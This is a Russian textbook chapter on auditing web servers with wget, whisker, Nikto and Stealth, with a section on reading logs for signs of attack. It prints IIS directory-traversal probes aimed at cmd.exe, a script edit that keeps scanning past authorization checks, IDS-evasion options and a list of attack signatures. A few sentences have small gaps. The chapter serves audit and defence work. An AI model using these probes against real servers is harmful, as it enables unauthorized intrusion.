    Последняя программа, которую мы рассмотрим, похожа на предыдущие. Wget - утилита командной строки, которая в основном копирует содержимое Web-сайтов. Она запускается для стартовой страницы и затем, в соответствии со ссылками, исследует каждую страницу Web-сайта. Когда кто-либо проводит аудит безопасности Web-приложения, одним из первых шагов является перемещение между разными страницами приложения. Для спаммеров целью может быть поиск адресов электронной почты. Другие ищут комментарии в программах, которые могут содержать пароли, выражения SQL, или другие интересные штучки. И, наконец, локальная копия содержимого Web-приложения дает возможность быстрого поиска такой информации в больших сайтах.

    С точки зрения администраторов, у Wget может быть и другое применение. Например, создание зеркал для сайтов с высоким трафиком. Администраторы зеркал многих Web-сайтов (таких как www.samba.org и www.kernel.org) используют wget или аналогичные утилиты для воспроизведения содержимого мастер-сервера на альтернативных серверах. Они делают это с целью сокращения загрузки и разнесения Web-сайтов по разным географическим регионам.

    Реализация

    Поскольку основной функцией wget является загрузка содержимого Web-сайта, то использовать программу просто. Для рекурсивного просмотра сайта используйте параметр -r.

    $ wget -r www.victim.com
    ...(continues for entire site)...

    Параметр -r или -recursive указывает wget на необходимость просматривать каждую ссылку на странице. Ниже мы создаем директорию www.victim.com и размещаем в этой директории все HTML-файлы и директории, которые wget обнаружит на этом сайте. Основное преимущество wget в том, что он просматривает все возможные ссылки. Таким образом, программа загружает вывод всех аргументов, которые приложение пересылает на страницу. Например, файл viewer.asp может быть загружен четырежды.

  • viewer.asp@ID=555
  • viewer.asp@ID=7
  • viewer.asp@ID=42
  • viewer.asp@ID=23
  • Символ ? в реальном URL. ID - первый аргумент (параметр), передаваемый в файл viewer.asp. Некоторые сайты могут потребовать более сложных возможностей, таких как поддержка прокси и HTTP Basic Authentication. Сайты, защищенные с помощью Basic Authentication, можно просматривать следующим способом.

    [root@meddle]# wget -r --http-user:dwayne --http-pass:woodelf \
    > https://www.victim.com/secure/
    
    ...continues for entire site...

    Сайты, которые базируются на использовании cookies для поддержки сессий или аутентификации, также можно просматривать с использованием wget. Создайте cookie -файл, который содержит набор достоверных переменных о пользовательской сессии. Для этого необходимо иметь возможность получить доступ к сайту, чтобы собрать значения переменных. Затем используйте параметр -load-cookies, чтобы указать wget на необходимость представиться пользователем, информация о котором хранится в переменных cookie.

    $ wget --load-cookies=cookies.txt \
    > -r https://www.victim.com/secure/menu.asp

    Wget может поддерживать сессии и сохранять значения cookie-переменных с помощью соответственно названного параметра -cookies. Это параметр логического типа, и вы можете либо выключить его (по умолчанию) или включить.

    $ wget --load-cookies=cookies.txt -cookies=on \
    > -r https://www.victim.com/secure/menu.asp

    Параметры --http-user и --http-passwd позволяют wget получить доступ к Web-приложениям, которые применяют HTTP Basic Authentication. Установите значения в командной строке и следите за работой wget.

    $ wget --http-user=guest --http-passwd=no1knows \
    > -r https://www.victim.com/maillist/index.html
    Страницы:

    Систему безопасности Web-сервера можно разделить на две основных категории: тестирование сервера на предмет общей уязвимости и тестирование web-приложения. Web-сервер должен быть сконфигурирован в соответствии с этим списком до того, как он будет открыт для использования через интернет.

  • Безопасность конфигурации сети. Брандмауэр или другое устройство должны ограничивать входящий трафик необходимыми портами (возможно, только 80 и 443).
  • Безопасность конфигурации хоста. Операционная система должна содержать все выпущенные на текущий момент заплатки в области обеспечения безопасности, должна быть включена система аудита, только администратор может иметь доступ к системе.
  • Безопасность конфигурации Web-сервера. Должны быть проанализированы установки Web-сервера по умолчанию, файлы примеров должны быть удалены и сервер должен быть запущен с ограниченными пользовательскими полномочиями.
  • Конечно, этот короткий список не может охватить особенности конфигурации связки Apache/PHP или детали каждой из рекомендованных настроек Internet Information Server (IIS), но он может послужить основой для создания жесткой политики компоновки Web-сервера. Для проверки стратегии компоновки следует также использовать сканер уязвимости.

    Сканеры уязвимости Vulnerability Scanners

    У Web-серверов - Apache, iPlanet и IIS - много версий и добавлений для обеспечения безопасности. Обычно у сканера уязвимости есть сканирующий аппарат и каталог. Каталог содержит список общих файлов, файлов с описанием известных уязвимостей и наиболее распространенных способов взлома набора серверов. Например, сканер уязвимости ищет резервные файлы (переименованные из default.asp в default.asp.bak) и пытается осуществить взлом, обходя дерево директорий (вроде проверки ..%255c..%255c). Сканирующий аппарат поддерживает логику для чтения каталога методов взлома, посылает запрос Web-серверу и интерпретирует ответ для определения возможных уязвимостей сервера. Эти утилиты направлены на уязвимости, которые легко зафиксировать с использованием конфигурирования системы безопасности хоста, использования заплаток для системы безопасности и очистки корневой директории Web-сервера.

    Whisker

    Whisker - не самый древний из сканеров уязвимости CGI-интерфейса ( common gateway interface ). Тем не менее, эта программа была первым средством для совместного использования приемов проверки общей уязвимости, интеллектуального сканирования, которое реагирует на ответные HTTP-коды, и уклонения от систем обнаружения вторжений ( IDS ). Преимущества этой программы в том, что она написана в виде простых (правда, не всегда понятных) Perl-скриптов. При необходимости это позволяет отредактировать программу в простом текстовом редакторе для изменения имен пользователей, паролей и уязвимых CGI-скриптов.

    Реализация

    В списке уязвимостей программы whisker, возможно, что-то устарело, но он также включает проверки для директорий, которые никогда не исчезнут. Проверки /backup/ или /log/ директорий и текстовых файлов sam.txt никогда не устареют. Чтобы запустить whisker для одного хоста или IP-адреса, воспользуйтесь параметром -h. Параметр -H (обратите внимание на регистр) дает возможность задать файл, который содержит список IP-адресов или имен хостов. Также неплохая идея всегда использовать параметр -w для записи результатов каждой проверки, выполненной сканером. Параметр -W выводит все в HTML-формате. Это может выглядеть как ненужные бантики, но в то же время удобно, и демонстрация возможностей заставит притихнуть противников. Базовый вид командной строки whisker выглядит примерно так.

    $ whisker.pl -h 192.168.42.27 -w
    - whisker / v1.4.0+SSL / rain forest puppy / www.wiretrip.net -
    -( Bonus: Parallel support )
    - Loaded script database of 2045 lines
    = - = - = - = - = - =
    = Host: 192.168.42.27
    - Cookie: PREF=ID=28bd8b28723a3f00:TM=1014183574:
      LM=1014183574:S=iaEPbCBRdvA
    = Server: IIS/5.0
    + 200 OK: GET /robots.txt

    Мы пропустили параметр -W, чтобы сделать вывод лучше читаемым на бумаге. После запуска whisker начинает выводить информацию на экран ( stdout в Unix-терминах). Не потеряйте результаты сканирования; вы можете сохранить их в файл. Параметр командной строки -l с именем файла после него, но мы редко это используем. Вместо этого воспользуйтесь преимуществами командной строки Unix.

    $ whisker.pl -h 192.168.42.27 -w -W | tee whisker80_192.168.42.27.html.raw
    Совет. Команда Unix tee позволяет перенаправить вывод одновременно в файл и на экран. Это позволяет наблюдать за работой программы в режиме реального времени и сохранить информацию. Это понятнее, чем запуск процесса в фоновом режиме, и понятнее, чем использование команды tail -f.

    Понятные имена файлов позволят быстро просмотреть директории и визуально определить положение специфических файлов. Число 80 означает номер сканируемого порта - в данном случае, это значение по умолчанию. Другой номер порта может быть задан с помощью параметра -p.

    Перед тем как начать изменять командную строку для проверки нестандартных Web-сайтов, сосредоточимся на анализе вывода для поиска уязвимых мест. Ниже мы добавили строку .html.raw к нашему выходному файлу, поскольку файл содержит все ответы Web-сервера, включая каждое сообщение "404 Not Found", которое нам не требуется. Ниже приведен пример удаления этих строк.

    $ grep -v 404 whisker80_server.html.raw whisker80_server.html

    Другими кандидатами на удаление могут быть строки, содержащие числа 400 (bad request), 401 (unauthorized) и 403 (forbidden). Однако нам интересно проанализировать 400 и 401 ошибки. 400 ошибка должна встречаться редко, пока программа просматривает обычные файлы с обычными расширениями. 401 ошибка означает, что файл существует (возможно), но нам необходимо использовать правильное имя пользователя и пароль для доступа к ним - два вывода, которые может сделать для нас программа whisker. 403 ошибка обозначает файлы или директории, к которым нет доступа, поскольку для доступа к ним требуются другие полномочия. Итак, для удаления только 403 и 404 ошибок воспользуемся следующей командой.

    $ grep -v 40\[34\] whisker80_server.html.raw whisker80_server.html

    Если вы разбираетесь в регулярных выражениях, то можете понять, как в соответствии со следующей командой удаляются все предыдущие четырехсотые коды ошибок.

    $ grep -v 40\[0134\] whisker80_server.html.raw whisker80_server.html

    Помните, что если даже сканером анализируется только возврат HTTP-кода 200 для любого уязвимого файла, любая информация может быть полезна. Если запрос к директории /.old/ возвращает код возврата 401, то мы знаем, что директория существует. Возможно, мы сможем получить доступ к ее содержимому другими способами.

    Другой фокус заставляет whisker продолжать сканирование сайта, даже если стартовая страница требует аутентификации. Иногда администратор может применить управление доступом к директории верхнего уровня, например /admin/ - но может забыть о доступе к директориям или файлам более низкого уровня, таким как /admin/Docs/default.cfg. Таким образом, можно использовать силовой прием для изменения строки в скрипте whisker.pl. Исходная строка и ее новый вид представлены ниже.

    if($D{'XXAuth'} ne ""){
        wprint("- Server demands authorization.");
        wprint("- We don't have a login, so skipping host...\n");
        $D{'XXServerInject'}="exit";}

    Приравняйте переменную $D{'XXServerInject'} к чему-либо кроме exit. Это заставит whisker проигнорировать тот факт, что он не имеет должных полномочий для тестируемого сайта.

    if($D{'XXAuth'} ne ""){
        wprint("- Server demands authorization.");
        wprint("- We don't have a login, so skipping host...\n");
        $D{'XXServerInject'}="foo";}

    Сервер может вернуть 401 ошибку или одну из трехсотых (30х) для перенаправления каждого запроса на страницу авторизации, но это будет не так в тех немногих случаях, когда список контроля доступа использован неправильно. В других случаях, вы всегда можете использовать grep для удаления сообщений об ошибках.

    Исходная версия whisker (1.4) не поддерживает протокол SSL (Secure Sockets Layer). В этом нет ничего страшного, поскольку вы можете установить OpenSSL прокси-сервер (см. раздел " OpenSSL " далее в этой лекции). Но прокси не слишком подходящий вариант, если сканируется

    более чем один IP-адрес одновременно. Поэтому H. D. Moore модифицировал программу для поддержки Perl SSL-функций.

    Примечание. Модуль . Инструкция по инсталляции достаточно проста. Обычная последовательность команд perl Makefile.PL, make, make test и make install для любого модуля. Модуль Net::SSLeay требует работающего пакета OpenSSL. В Unix и Cygwin это делается просто.

    Для запуска whisker с поддержкой SSL необходимо использовать параметр -x. По умолчанию будет установлен порт 443, но он может быть изменен с помощью параметра -p.

    $ whisker.pl -x -h 192.168.42.27 -w -W | 
       tee whisker443_192.168.42.27.html.raw

    Или для получения реальных преимуществ от использования параметра -x можно запустить программу со списком хостов.

    $ whisker.pl -x -H hosts_ssl.txt -w -W | tee whisker443_hosts_ssl.html.raw

    Если вы просмотрели все исходные коды whisker, то вы знаете, что он всегда выполняется как CGI-модуль Web-сервера. Настройте Web-сервер, переименуйте в whisker.cgi и поместите программу в директорию /cgi-bin/ сервера. По умолчанию этот модуль ограничивает функциональность программы сканированием только одного хоста, заданием одного порта и принудительного задания типа удаленного сервера. Но если вы разбираетесь в исходном коде, вы сможете привести CGI-версию в нормальное состояние.

    Работа с ненадежными Web-сайтами. Whisker - не самое лучшее средство, поскольку он сканирует конкретные порты в соответствии с конкретным списком уязвимых CGI-скриптов. Это великолепное средство, поскольку оно обладает достаточной гибкостью. Whisker предлагает набор параметров командной строки, которые в состоянии ввести в заблуждение простые средства обеспечения безопасности.

    Наиболее простое средство обеспечения безопасности, и наиболее часто употребляемое начинающими разработчиками скриптов - переименование идентификационной строки Web-сервера. Как администратор, вы никогда не должны полагаться на непонятный прием обеспечения безопасности на вашем IIS 5.0, который представляется как Apache 1.3.22. Однако некоторые утилиты - whisker входит в их число - не могут запустить специальные тесты для IIS, если он определяется как Apache.

    Whisker предоставляет возможность принудительно установить тип удаленного сервера с использованием параметра -S (заглавная).

    $ whisker.pl -h 192.168.42.27 -w -W -S "IIS/5.0"

    Этот параметр принудительно заставляет программу выполнять специфические для IIS тесты в соответствии со своей базой данных, несмотря на информацию, передаваемую в HTTP-заголовках.

    Мы надеемся, вы разбираетесь в Perl, поскольку редактирование скрипта может сделать свойства параметра -S еще лучше. После этих двух строк

    $D{'XXUserAgent'} = "Mozilla/5.0 [en] (Win95; U)";
    $D{'XXForce'}=1 if defined($args{f});

    добавьте новую строку, чтобы быть уверенным, что whisker считывает тип сервера, заданный в командной строке. Переменная XXForceS используется в логике сканирования, когда определяется, какие файлы использовать для тестирования.

    $D{'XXForceS'}=1 if defined($args{S});

    Другое препятствие для любого сканера уязвимостей состоит в работе с сайтами, которые требуют аутентификации. Базовая HTTP-аутентификация очень проста в реализации. Имя пользователя и пароль кодируются в коде base 64, не шифруясь каким-либо надежным алгоритмом. Вдобавок к этому, аутентификационные полномочия передаются в заголовочной информации, передаваемой клиентом (это может быть Web-броузер или аппарат сканирования уязвимостей). Для всех сайтов, которые требуют базовой аутентификации, используйте параметр -a для задания правильных полномочий. Имя пользователя и пароль разделяются двоеточием.

    $ whisker.pl -h 192.168.42.27 -w -W -a "grauf:penguin"

    Whisker может обеспечить лобовую атаку с целью подбора правильного имени пользователя и пароля. К сожалению, это не самый лучший довод в пользу приобретения рекламируемого товара. Он не может поддерживать аутентификацию, основанную на формах. Сайт может сбить с толку алгоритм подбора пароля, если вернет в ответ нечто, отличающееся от HTTP 401-кода, в случае, если комбинация имя пользователя/пароль неправильная.

    Если вы желаете проверить вашу IDS-систему на надежность контроля Web-уязвимостей, то набор параметров -I для вас. Каждый из параметров генерирует URL-запрос, который изменяется разными способами с целью ввести в заблуждение IDS-сигнатуры. Для тестирования IDS выполните каждую из 10 проверок (от 0 до 9) по отношению к серверу из вашей сети.

    $ whisker.pl -h 192.168.42.27 -w -W -I3

    Наилучшая защита от пассивного мониторинга - это шифрование. Для IDS весьма сложно отслеживать трафик поверх SSL. С другой стороны, легко запустить whisker поверх SSL и исследовать любые уязвимости.

    Пример из жизни. Самообновление Scan.ab

    Whisker -архив поставляется с четырьмя сканерами баз данных: brute.db, dumb.db, scan.db и server.db.

    Каждый сканер баз данных содержит список универсальных директорий, универсальных файлов и уязвимых сценариев CGI, которые whisker обычно сканирует. Эти базы данных несколько устарели и поэтому не покрывают более новые способы взломов. В них также не хватает проверок, настроенных на ваши собственные Web-серверы.

    Простейшая запись описывает корневую директорию или директории и специфические имена файлов для проверки. Например, правило в scan.db, которое проверяет на /robots.txt, занимает одну строку:

    scan () / >> robots.txt

    Эта строка фактически заблокирована (или превращена в комментарий) по умолчанию. Чтобы ее активизировать, удалите символ ( # ) из начала строки, что мы и сделали. Следующая таблица описывает компоненты каждого правила сканирования.

    Правило Описание
    scan Тип правила scan указывает, что эта строка содержит инструкции для специфической проверки.
    ([server type]) Используйте круглые скобки, чтобы ограничить проверку одним типом Web-сервера. Например, правило с (iis) запускается только, если whisker идентифицирует целевой сервер, как некоторую версию Microsoft IIS. Обратитесь к файлу server.db за полным списком возможных целей. Если оставить это поле пустым, то это будет применимо ко всем Web-серверам.
    / Это базовая директория, в которой следует искать целевой файл. Это может быть разделенный запятыми список, т.е. /, /cgi-bin, /en/cgi-bin. Вы также можете использовать заранее определенные массивы в этом поле, такие как @array или @cgis. Служит разделителем между директорией и файлами для проверки.
    Robots.txt Имя файла для проверки. Используйте разделенный запятыми список в этом поле, чтобы задать несколько файлов для конкретной директории: т.е. db.inc, dbase.inc, database.inc.

    Одно из основных преимуществ этих правил состоит в том, что whisker сам себя оптимизирует во время сканирования сервера. Например, если мы хотим проверить присутствие трех обычных файлов JavaScript в определенной директории, то правило должно выглядеть следующим образом.

    scan (iis) /library >> global.js, local.js, toolbar.js

    Whisker проверяет наличие директории /library до начала сканирования и наличие любых файлов *.js в этой директории. Если такой директории нет (имеется в виду, что запрос /library вернул ошибку 404), то он не будет проверять наличие этих трех файлов. Это мелочь, но чрезвычайно полезная, оптимизирующая скорость.

    Определение массивов директорий. Во многих случаях, единственный файл может быть найден в одной из нескольких директорий. Например, обычная директория /cgi-bin может быть переименована несколькими способами. Массив должен быть объявлен до того, как правило сканирования его вызовет. Тогда используйте символ @, чтобы обратиться к массиву.

    array cgis = cgi-bin, cgi, cgi-old, bin
    scan () @cgis shopping.pl
    clear @cgis

    Команда clear удаляет массив из памяти. На самом деле, это не обязательно, но ваш старый профессор по компьютерным наукам одобрил бы такую чистоту.

    Массив может, в свою очередь, содержать массив. Вот пример.

    array common = include, library, scripts, tools
    array admin = adm, admin, manage, manager, secure, @common

    Массив администратора содержит 5 новых директорий, и каждая из этих директорий в общем массиве. Это помогает классифицировать директории в определенные типы, чтобы сделать сканирование более полным.

    Соответствующий пример добавляет проверки на уязвимость прохождения директорий IIS Unicode и Superfluous Decode. Сначала мы определим массив, который содержит наиболее обычные директории по умолчанию, найденные на сервере IIS.

    array iisdirs = admin, certadm, certcontrol, certenroll, certque,
        certsvr, cgi-bin, exchange, help, iisadmin, iisadmpwd, iishelp,
        iissamples, images, info, _mem_bin, msadc, pbserver, rpc, 
        scripts, _vti_bin

    Затем определим правила сканирования для проверки (это правило должно быть в одной строке).

    scan () @iisdirs 
    ..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afwinnt/system32/
        cmd.exe?/c+dir,
    ..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afwinnt/system32/
       ipconfig.exe?/all+dir,
    ..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir,
    ..%255c..%255c..%255c..%255c..%255cwinnt/system32/ipconfig.exe?/
        all+dir, cmd.exe, root.exe

    %c0%af и %255c - это только две из многих возможных строк прохождения директорий, но они работают. Также это правило проверяет на предмет листингов директорий из бинарного cmd.exe. Некоторые администраторы запрещают доступ к этому файлу, чтобы предотвратить такую атаку; однако ipconfig.exe - это тоже законная добыча. Две последние проверки на предмет cmd.exe и root.exe имели целью найти обломки предыдущих атак хакеров или вирусов. Это правило сканирования может быть добавлено к оригинальному scan.db whisker или помещено в свой собственный файл *.db.

    Чтобы использовать альтернативный файл *.db, укажите опцию -s в командной строке.

    $ whisker.pl -h 192.168.42.27 -w -W -s unicode.db

    Обычные директории и файлы. Польза от whisker не ограничивается сканированием известных уязвимостей. Он также великолепно находит "скрытые" URL, резервные файлы и управляющие интерфейсы. Файл scan.db whisker уже содержит достаточное количество обычных файлов и директорий. Однако вы должны расширить файл *.db за счет структуры директорий, которую вы узнали "в поле". Например, многие Web-сайты написаны так, что допускают языковую настройку. Такие файлы должны специально приписывать /en к части файлов URL, что влияет на способность whisker сканировать обычные сценарии CGI и файлы. Whisker может искать /index.html.bak, но не может найти /en/index.html.bak. Поэтому правила сканирования должны быть модифицированы, чтобы исправить это.

    Здесь вместо поиска файлов *.inc и *.js в обычных директориях, специфицированных массивом, whisker специально приписывает указание на язык и сканирует на /en/inc/database.inc и т.д.

    array common = inc, include, lib, library, tool, tools
    scan (iis) en/@common database.inc, global.inc, local.inc, 
      toolbar.js

    Nikto

    Прежде чем развиваться в качестве самостоятельной утилиты, whisker был создан, чтобы пополнить Perl-библиотеку средств сканирования. Nikto основывается на новом поколении LibWhisker-библиотеки. С самого начала программа поддерживает сканирование портов с поддержкой SSL и прокси.

    Реализация

    Основанный на Perl, . Для работы также требуется LibWhisker (LW.pm).

    LibWhisker. Полнофункциональная копия . Инсталляция очень проста. После разархивирования войдите в директории и соберите библиотеку. Как только сборка закончится, установите LW.pm в вашу Perl-директорию. Выполните следующую последовательность команд.

    $ cd libwhisker-1.3
    $ perl Makefile.pl lib
    $ perl Makefile.pl install

    LibWhisker может показаться немного избыточным, поскольку он включает в себя функциональность нескольких, уже существующих Perl-модулей, таких как LWP, Base64 и HTML::Parser. Преимущества LibWhisker в том, что это "тощая" (минимальный размер файла по сравнению с модулями, функциональность которых он заменяет), простая (один модуль), специализированная (поддерживает только HTTP- и HTTPS-запросы) и живучая (обеспечивает единый интерфейс для поддержки запросов и приема ответов) утилита. Кроме того, она понятнее, чем оригинальная программа whisker!

    Сканирование. Основные параметры командной строки nikto отличаются от команд whisker, поэтому вам придется осваивать новые параметры. Сравните командную строку whisker с аналогичной командной строкой nikto.

    $ whisker.pl -h 192.168.42.27 -w -W | \
    > tee whisker80_192.168.42.27.html.raw
    $ nikto.pl -host 192.168.42.27 -verbose -web -output \
    > nikto80_192.168.42.27.html.raw

    Выходная информация Nikto содержит указания на то, почему поиск может угрожать безопасности.

    Target IP: 192.168.42.27
    Target Hostname: www.victim.com
    Target Port: 80
    ----------------------------------------------------
    o   Scan is dependent on "Server" string which can be faked, use -g to override
    o   Server: WebSTAR/4.2 (Unix) mod_ssl/2.8.6 OpenSSL/0.9.6c
    o   Allowed HTTP Methods: GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS,
        PATCH, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, TRACE
    o   Server allows PUT method, may be able to store files.
    o   CONNECT method is enabled, server may act as a proxy or relays.
    o   Server allows DELETE method, may be able to remove files.
    o   Server allows PROPFIND or PROPPATCH methods, which indicates DAV/WebDAV is
        installed. Both allow remote admin and have had security problems.
    o   WebSTAR/4.2(Unix)mod_ssl/2.8.6OpenSSL/0.9.6c appears to be outdated
        (current is at least mod_ssl/2.8.7) (may depend on server version)
    o   /public/ Redirects to 'http://www.foundstone.com/public', this might be
        interesting...
    o   robots.txt - This file tells web spiders where they can and cannot go (if they follow
        RFCs). You may find interesting directories listed here. (GET)
    o   cgi-bin/htsearch?-c/nonexistant - The ht::/Dig install may let an attacker force  
        ht::/Dig to read arbitrary config files for itself.
        (GET)
    885 items checked on remote host

    В таблице 8.1 перечислены основные параметры, необходимые для запуска утилиты nikto. Наиболее важные параметры устанавливают тестируемый хост, порт и выходной файл. Nikto воспринимает первый символ имени параметра как синоним. Например, вы можете ввести -s или -ssl, чтобы использовать протокол HTTPS, или вы можете задать -w или -web для получения выходной информации в формате HTML.

    Параметры командной строки Nikto и их эквиваленты в Whisker
    Nikto Whisker Описание
    -host -h Задает один хост. nikto не принимает файлы с именами хостов, так как это делает опция -H в whisker.
    -port -p Задает произвольный порт.
    -verbose -v, -w Обеспечивает подробный отчет. Это единственная опция, которую не представляют аббревиатурой (-v зарезервирована для опции виртуального хоста).
    -ssl -x Активизирует поддержку SSL. nikto не предполагает HTTPS, если вы специфицировали целевой порт 443.
    -generic -S Указывает nikto игнорировать заголовок сервера и запускать сканирование всей базы данных. В отличие от опции whisker -S, вы не даете строки альтернативного заголовка после опции.
    -web -W Выводить отчет в HTML.
    -output -l Заносить протокол в файл. Например, -output nikto80_www.victim.com.html.
    -id -a Поддержка полномочий базовой идентификации HTTP. Например, -id username:password.
    -vhost -V Использовать виртуальный хост для целевого Web-сервера вместо IP-адреса.
    -evasion -I Техника обхода IDS. nikto использует 9 различных техник, чтобы форматировать запрос URL и ускользнуть от обнаружения в IDS.

    Следует помнить несколько основных положений в работе с утилитой nikto: задавайте хост ( -h ), порт ( -p ), SSL ( -s ) и имя выходного файла. Дополнительные параметры подробно описаны в таблице 8.2. По большей части эти параметры охватывают возможности большинства утилит для сканирования.

    Дополнительные параметры командной строки Nikto
    Опция Описание
    -allcgi Сканирует все возможные директории CGI. Не обращает внимания на ошибки 404, которые nikto получает для базовой директории. Подробности см. в разделе "Config.txt".
    -mutate Видоизмененные проверки описываются в "Config.txt".
    -findports Сканирует целевой сервер. Это сканирование использует nmap или внутренние сокеты на базе Perl.
    -nolookup Не определяет имена хостов по IP-адресу.
    -timeout N Останавливает сканирование, если не получает данных в течение N секунд. По умолчанию - 10.
    -update Обновляет модули nikto и выясняет существование новых версий.

    Параметр -update упрощает процедуру сопровождения утилиты nikto. Этот параметр заставляет программу соединиться с хостом www.cirt.net и загрузить дополнительные модули для поддержания листа сканирования в текущем состоянии.

    $ ./nikto.pl -update
    ----------------------------------
    - Nikto v1.100BETA_2 - www.cirt.net -
    + Retrieving 'scan_database.db'
    www.cirt.net message: Send comments on Nikto to cirt.net so it can be
    a better product.

    Config.txt. Nikto использует настроечный файл config.txt для установки отдельных, наименее часто используемых параметров, или наоборот, наиболее часто используемых в процессе сканирования. Этот файл включает дюжину настроек. Параметр может быть закомментирован с помощью символа #. Ниже приведены настройки по умолчанию:

    CGIDIRS=/bin/ /cgi/ /mpcgi/ /cgi-bin/ /cgi-sys/ /cgi-local/ /htbin/
     /cgibin/ /cgis/ /scripts/ /cgi-win/ /fcgi-bin/
    #CLIOPTS=-g -a
    #NMAP=/usr/bin/nmap
    SKIPPORTS=21 111
    #PROXYHOST=10.1.1.1
    #PROXYPORT=8080
    #PROXYUSER=proxyuserid
    #PROXYPASS=proxypassword
    DEFAULTHTTPVER=1.1
    #PLUGINDIR=/usr/local/nikto/plugins
    MUTATEDIRS=/....../ /members/ /porn/ /restricted/ /xxx/
    MUTATEFILES=xxx.htm xxx.html porn.htm porn.html

    Строка CGIDIRS содержит список директорий, разделенный пробелом. Nikto пытается определить наличие каждой из директорий перед началом ее просмотра. Соответственно, параметр -allcgi отменяет такой порядок работы.

    Строка CLIOPTS содержит параметры командной строки, которые будут использоваться при каждом запуске nikto. Этот прием обычно используется для сокращения командной строки. В файл включаются параметры -generic, -verbose и -web.

    Строки NMAP и SKIPPORTS управляют политикой сканирования портов ( -findports ). Если не поддерживается выполнение исходного модуля nmap (что обычно для Windows-систем), nikto использует для сканирования портов Perl-функции. Строка SKIPPORTS содержит список портов, которые никогда не сканируются.

    Используйте строку PROXY* для включения поддержки прокси.

    Также довольно редко возникает необходимость изменять строку DEFAULTHTTPVER. Вы можете поискать серверы, использующие только версию 1.0.

    Строка PLUGINDIR определяет директорию для размещения определяемых пользователем модулей (аналоги файлов scan.db в whisker ). По умолчанию nikto осуществляет поиск в директории /plugins, размещаемой в директории, откуда программа запускается.

    Строки MUTATE* существенно увеличивают время, которое требуется для сканирования сервера с параметром mutate. Инструкция MUTATEDIRS устанавливает, что проверка каждой директории должна начинаться от корня или от перечисленных ниже директорий. Этот прием обычно используется для Web-сайтов, которые используют интернационализацию, вследствие чего директория /scripts заменяется на директорию /1033/scripts. Инструкция MUTATEFILES определяет необходимость сканировать каждый файл в приведенном списке директорий.

    Пример из жизни. Обнаружение попыток вторжения

    Как администратор, вы, должно быть, сканируете свои Web-серверы на уязвимость. Это часть вашей рутинной работы. Всегда лучше обнаружить собственные уязвимости до того, как это сделает кто-либо другой. С другой стороны, откуда вы можете знать, что кто-то использует эти средства против вас? Конечно, может помочь IDS, но у IDS есть несколько недостатков: они не могут справиться с высоким диапазоном частот, полагаются на свойство сопоставления с образцом, не могут (в большинстве) видеть закодированные потоки SSL. Кроме того, они дороги. Ответ в данном случае - обратитесь к своим файлам протоколов (logfiles). Вы же включили журнализацию на своем Web-сервере, не так ли?

    Общие автографы. Файлы протоколов (Logfiles) - это средство безопасности. Они реакционны, а это означает, что если вы увидите автограф взлома в своем файле, то знаете, что вы уже атакованы. Если атака подвергла сервер риску, протоколы Web будут первым местом, куда следует обратиться, чтобы воссоздать события. Протоколы также помогают администраторам и программистам проследить ошибки и поврежденные страницы на Web-сайте - это необходимо для поддержания стабильности Web-сервера. Помня об этом, вы должны практиковать регистрацию на Web-сервере и сбор файлов протоколов (logfiles), просматривать их и архивировать.

    В следующей таблице перечисляются некоторые позиции, на которые следует обращать внимание при проведении обзора протоколов. Многие из этих проверок могут быть автоматизированы при помощи такого простого средства, как grep.

    Excessive 404s Избыток ошибок 404. Ошибка 404 в вашем файле протокола обычно означает одно из трех: опечатка или ошибка на странице сайта, пользователь неправильно набрал URI, или зловредный пользователь ищет "старушек". Если вы видите несколько запросов от IP-адреса, что привело к последовательности ошибок 404, проверьте свои остальные протоколы на этот IP-адрес. Вы можете обнаружить успешный запрос (ответ 200) где-то еще, что свидетельствует о вражеской активности.
    Unused file extensions Неиспользованные расширения файлов. Это подмножество избытка ошибок 404, но является хорошим индикатором автоматизированного средства. Если ваш сайт использует только файлы *.jsp, то запросы на файлы *.asp будут не к месту.
    Excessive 500s Избыток ошибок 500. Любая ошибка сервера должна проверяться. Это может означать, что в приложении есть ошибки, или зловредный пользователь пытается запустить ошибочные данные на сервер.
    Sensitive filenames Чувствительные имена файлов. Поиск в протоколах запросов, которые содержат passwd, cmd.exe, boot.ini, ipconfig или другие имена системных файлов и команд. IDS часто отключают эти значения.
    Examine parameters Проверочные параметры. Атаки на Web-сервер часто прячутся внутри запросов, которые возвращают ответ 200. Убедитесь, что ваш Web-сервер регистрирует параметры, которые прошли на URI.
    Directory traversal Прохождение директорий. Поиск атак, которые пытаются разрушить такие директории, как :, .., или %2e%2e.
    Long strings Длинные последовательности. Ищите длинные последовательности (более 100 знаков), запущенные как параметр. Например, имя пользователя, содержащее 200 символов A, вероятно означает, что кто-то пытается взломать приложение.
    Shell characters Признаки работы командного процессора. Ищите символы, которые имеют специальное значение в командных процессорах или SQL. Обычные символы: ' ! | < > * ;

    Помните, что IIS записывает URL в конечном разобранном формате. Например, атака на прохождение директории Unicode появляется как /scripts/..A..A..Acmd .exe?/c+dir, где файл протокола Apache захватывает необработанный запрос /scripts/ ..%c0%af..%c0%af..%c0%afcmd.exe?/c+dir?. При регистрации IIS убедитесь, что опции для записи uri-stem и uri-query выключены.

    Stealth

    Эта программа работает под Windows с графическим интерфейсом пользователя, и поэтому не обладает, в отличие от whisker возможностями кросс-платформенного использования. Stealth располагает большим количеством тестов и имеет легко расширяемую базу данных. В настоящее время в базе данных программы находится около 13000 тестов, правда, только 5000 из них являются уникальными. Эти тесты были получены в результате сканирования большого количества устройств, имеющих встроенные Web-серверы, обладающих наиболее распространенными типами уязвимостей, свойственных IIS.

    Реализация

    На рис 8.1 приведен вид интерфейса для сканирования одного IP-адреса. По умолчанию Stealth использует "нормальное" правило сканирования, которое содержит около 6500 тестов. Эта страница открывается с помощью кнопки Scanner в окне приложения Stealth.

    Примечание. Stealth также располагает параметрами для изменения номера порта (по умолчанию 80), при этом SSL-соединение не поддерживается. Задать номер порта 443 недостаточно.

    , для этого должен быть задан список последовательных IP-адресов. Это существенно замедляет сканирование, поскольку программа сначала должна определить Web-сервер, а затем осуществлять его сканирование. Если серверы распределены по сети, то это еще сильнее замедляет процесс.

    (рис 8.2) Сканер Stealth по умолчанию против цели(рис 8.1) Stealth сканирует список IP-адресов

